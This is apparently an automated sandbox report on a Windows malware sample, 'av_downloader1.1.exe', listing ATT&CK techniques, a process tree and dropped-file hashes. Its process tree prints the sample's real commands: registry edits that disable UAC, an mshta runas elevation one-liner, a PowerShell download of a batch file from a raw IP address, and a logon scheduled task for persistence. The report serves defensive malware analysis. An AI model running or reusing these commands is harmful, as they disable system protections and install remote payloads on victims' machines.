2031202030b1581acb6694f7ba528431a5015c7c37a4c6bcc0e1afdbca6f120d

Analysis

max time kernel
147s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
17-10-2024 18:11

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General

Target

av_downloader1.1.exe
Size

88KB
MD5

759f5a6e3daa4972d43bd4a5edbdeb11
SHA1

36f2ac66b894e4a695f983f3214aace56ffbe2ba
SHA256

2031202030b1581acb6694f7ba528431a5015c7c37a4c6bcc0e1afdbca6f120d
SHA512

f97c793e1489e09dc6867bc9fb8a8e6073e08e1019b7a6fd57efdb31099047fcef9bc7bc3a8194742d7998f075c50e5d71670711bf077da1ac801aab7d19b385
SSDEEP

1536:D7fPGykbOqjoHm4pICdfkLtAfupcWX50MxFY+yIOlnToIf+xB4O5:fq6+ouCpk2mpcWJ0r+QNTBf+LV

Score

10^/10

defense_evasion discovery evasion execution privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
16	3076	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3076	powershell.exe

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
352	attrib.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	AV_DOW~1.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	av_downloader1.1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	mshta.exe

Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs

defense_evasion privilege_escalation

Create Process with Token

T1134.002

pid	Process
1776	mshta.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	av_downloader1.1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AV_DOW~1.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3284	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
3076	powershell.exe
3076	powershell.exe
3428	msedge.exe
3428	msedge.exe
3352	msedge.exe
3352	msedge.exe
2136	identity_helper.exe
2136	identity_helper.exe
2928	msedge.exe
2928	msedge.exe
2928	msedge.exe
2928	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3076	powershell.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe
3352	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1688 wrote to memory of 2208	1688	av_downloader1.1.exe	85
PID 1688 wrote to memory of 2208	1688	av_downloader1.1.exe	85
PID 2208 wrote to memory of 1776	2208	cmd.exe	88
PID 2208 wrote to memory of 1776	2208	cmd.exe	88
PID 1776 wrote to memory of 2392	1776	mshta.exe	90
PID 1776 wrote to memory of 2392	1776	mshta.exe	90
PID 1776 wrote to memory of 2392	1776	mshta.exe	90
PID 2392 wrote to memory of 5008	2392	AV_DOW~1.EXE	91
PID 2392 wrote to memory of 5008	2392	AV_DOW~1.EXE	91
PID 5008 wrote to memory of 3652	5008	cmd.exe	93
PID 5008 wrote to memory of 3652	5008	cmd.exe	93
PID 5008 wrote to memory of 3888	5008	cmd.exe	94
PID 5008 wrote to memory of 3888	5008	cmd.exe	94
PID 5008 wrote to memory of 4060	5008	cmd.exe	95
PID 5008 wrote to memory of 4060	5008	cmd.exe	95
PID 5008 wrote to memory of 412	5008	cmd.exe	96
PID 5008 wrote to memory of 412	5008	cmd.exe	96
PID 412 wrote to memory of 216	412	cmd.exe	97
PID 412 wrote to memory of 216	412	cmd.exe	97
PID 5008 wrote to memory of 3352	5008	cmd.exe	99
PID 5008 wrote to memory of 3352	5008	cmd.exe	99
PID 5008 wrote to memory of 352	5008	cmd.exe	100
PID 5008 wrote to memory of 352	5008	cmd.exe	100
PID 3352 wrote to memory of 1080	3352	msedge.exe	101
PID 3352 wrote to memory of 1080	3352	msedge.exe	101
PID 5008 wrote to memory of 3076	5008	cmd.exe	102
PID 5008 wrote to memory of 3076	5008	cmd.exe	102
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103
PID 3352 wrote to memory of 3784	3352	msedge.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
352	attrib.exe

C:\Users\Admin\AppData\Local\Temp\av_downloader1.1.exe
"C:\Users\Admin\AppData\Local\Temp\av_downloader1.1.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1688
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\BA18.tmp\BA19.tmp\BA1A.bat C:\Users\Admin\AppData\Local\Temp\av_downloader1.1.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2208
- - C:\Windows\system32\mshta.exe
    mshta vbscript:createobject("shell.application").shellexecute("C:\Users\Admin\AppData\Local\Temp\AV_DOW~1.EXE","goto :target","","runas",1)(window.close)
    3⤵
    - Checks computer location settings
    - Access Token Manipulation: Create Process with Token
    - Suspicious use of WriteProcessMemory
    PID:1776
  - - C:\Users\Admin\AppData\Local\Temp\AV_DOW~1.EXE
      "C:\Users\Admin\AppData\Local\Temp\AV_DOW~1.EXE" goto :target
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2392
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\BCF7.tmp\BCF8.tmp\BCF9.bat C:\Users\Admin\AppData\Local\Temp\AV_DOW~1.EXE goto :target"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:5008
      - C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F
        6⤵
        UAC bypass
        
        PID:3652
      - C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F
        6⤵
        UAC bypass
        
        PID:3888
      - C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F
        6⤵
        UAC bypass
        
        PID:4060
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg query HKEY_CLASSES_ROOT\http\shell\open\command"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:412
        
        C:\Windows\system32\reg.exe
        
        reg query HKEY_CLASSES_ROOT\http\shell\open\command
        7⤵
        
        PID:216
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.pornhub.com/
        6⤵
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:3352
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7fffe16646f8,0x7fffe1664708,0x7fffe1664718
        7⤵
        
        PID:1080
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,3278645532249578144,2762033885263882925,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2152 /prefetch:2
        7⤵
        
        PID:3784
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2096,3278645532249578144,2762033885263882925,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 /prefetch:3
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3428
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2096,3278645532249578144,2762033885263882925,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2668 /prefetch:8
        7⤵
        
        PID:4924
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,3278645532249578144,2762033885263882925,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3272 /prefetch:1
        7⤵
        
        PID:900
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,3278645532249578144,2762033885263882925,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:1
        7⤵
        
        PID:392
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,3278645532249578144,2762033885263882925,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5020 /prefetch:1
        7⤵
        
        PID:2656
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2096,3278645532249578144,2762033885263882925,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5440 /prefetch:8
        7⤵
        
        PID:2380
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2096,3278645532249578144,2762033885263882925,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5440 /prefetch:8
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2136
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,3278645532249578144,2762033885263882925,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4984 /prefetch:1
        7⤵
        
        PID:236
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,3278645532249578144,2762033885263882925,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4592 /prefetch:1
        7⤵
        
        PID:3636
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,3278645532249578144,2762033885263882925,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5052 /prefetch:1
        7⤵
        
        PID:1512
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,3278645532249578144,2762033885263882925,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5100 /prefetch:1
        7⤵
        
        PID:4316
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,3278645532249578144,2762033885263882925,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5388 /prefetch:2
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2928
      - C:\Windows\system32\attrib.exe
        
        attrib +s +h d:\net
        6⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:352
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -c "invoke-webrequest -uri http://206.217.142.166:1234/windows/v2/dr.bat -outfile d:\net\dr\dr.bat"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3076
      - C:\Windows\system32\schtasks.exe
        
        SchTasks /Create /SC ONLOGON /TN "my dr" /TR "d:\net\dr\dr.bat" /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3284

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1204

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
e443ee4336fcf13c698b8ab5f3c173d0

SHA1
9bf70b16f03820cbe3158e1f1396b07b8ac9d75a

SHA256
79e277da2074f9467e0518f0f26ca2ba74914bee82553f935a0ccf64a0119e8b

SHA512
cbf6f6aa0ea69b47f51592296da2b7be1180e7b483c61b4d17ba9ee1a2d3345cbe0987b96f4e25de1438b553db358f330aad8a26e8522601f055c3d5a8313cdd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
56a4f78e21616a6e19da57228569489b

SHA1
21bfabbfc294d5f2aa1da825c5590d760483bc76

SHA256
d036661e765ee8fd18978a2b5501e8df6b220e4bca531d9860407555294c96fb

SHA512
c2c3cd1152bb486028fe75ab3ce0d0bc9d64c4ca7eb8860ddd934b2f6e0140d2c913af4fa082b88e92a6a6d20fd483a1cb9813209f371a0f56374bc97d7f863b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
792B

MD5
93a559f0fca1cc656dcaf9edf59cc3b5

SHA1
edbb0a555e98e73ccd85908ce6016e3f24d2bd3b

SHA256
a43c67766f39014bbe9aa78e6659cf5b9bd7329b03adb51336d79a346c863f69

SHA512
4b78e71efec1d0289107839971f33d214b9dd026786dd3fa86a804e034436f3aa1fedd389af75a991a04623e7c8047792be5644e1bd3a5ccaccefdf83744273f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
1KB

MD5
2587109f9d42c918e581248203ac0c7c

SHA1
697e7d9070abae23d92c75a12c3c1495503f8c33

SHA256
4e5ac2eb5f7041d3bffe99f60bf9e66b021e79f5496947f5b56412668b738d5e

SHA512
55485a4171f57f14245e6583c7b8bba64394b5570192883e579533441cea0211e18dc4941ab024acd621a0d8b0375b0a7a6009b820bf313f826893096bb4e373

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
a47eb876bedf9f2f45c0149ce5d9f929

SHA1
4f6bedc39be8df3e50fee565dad84917117a8d68

SHA256
9be5986a53895ce598ea67deb509005a3cf8b37bf234d5f8179b49ec0156e883

SHA512
8e8fd167d61e984b29f1524140741c7255b6febbd1b1c9ef20368582c1b9ed987c4d7faa4162b8d3aa7b40dff89ca34315d873b6446ff1eb20ff561a68e91a21

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
4e5527cfe14e55fbe36e70e00841dc1a

SHA1
ddd4623f35343ff2aeb0dedbbef953f46c31035f

SHA256
3b5480623da26ca066296fa84c0ed75465ecd45ec49ba37e635ff232c5ccdd91

SHA512
da501165706f327fcd03f5faf195c03b0b9d70dff8db1a5207e2235cb3d23a31319c7dd1a8e955ce0a8fe0955084e519cc1bec9e577c55c576b83c36e335098b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

Filesize
96B

MD5
da1b4da6870f2225054d736b55f14c3c

SHA1
5b9aa0093c781e5848aebb1c1ca98e25bffaf097

SHA256
83a7f652987b2cf960a34b7d4093e33f857d3756ff094de05994fea157ce7d81

SHA512
27ddeb7114e8120b88b007dca258f14067778d9a206393ea0693fd3128b2f9759f498df56574908642861c9631d11300de0aa95f4f4a177add2e6cea86f35c54

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe58197e.TMP

Filesize
48B

MD5
2929eb97a7f1535b8c8db7aad959d7a0

SHA1
ea566d804eda5abcac2bd23e5d322adf1ba46c5f

SHA256
0b2d73b2a03c0b7588a9abfa9645fc9e23e341b4fb2163421c1725dec269e806

SHA512
53bf59703897172b6f2671d8bbbe0c61b12762ecb3140724232f196290a494f2d2abb5c7ad90792ed6265015f17a2eb9bdee4b0276f2d76c4206fd0829102330

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
448c3adb5ab673f66329cfcac7f5f623

SHA1
014ffed8f15e91a8da1dae6841bd45731a249485

SHA256
f8e096ff83adabbb4d19e3050c89c82dd7a951caa70936ffd1f8b52adf05553f

SHA512
9340e453b635c2cd46bc0c65b36f8cbcd74ee58f70ed333b2186ed078550a0cc9e47d5eaa36770aeeef39cb1292905733f20b375d2c146bc37835ecf62cb846d

Download Submit
C:\Users\Admin\AppData\Local\Temp\BA18.tmp\BA19.tmp\BA1A.bat

Filesize
1KB

MD5
9856d2fe29a28c54c5943c2150f7bae1

SHA1
f7532a2a79b1b6aca1c151b34fe8b1ce2c798e97

SHA256
0b6140b4764863f3263b0be87f35c9afe9a849823eccf37259bed08baa93e999

SHA512
002db693f5664f80e58bb3590f32068f611bc97d3f71324abb659dd1fd0bffe3df36379ae92ffbeabde10bd6245b3c069b56ba4d8b4608c634a2525e7a76735f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bfpnq0sh.eqa.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3076-12-0x00000234DCCE0000-0x00000234DCD02000-memory.dmp

Filesize
136KB

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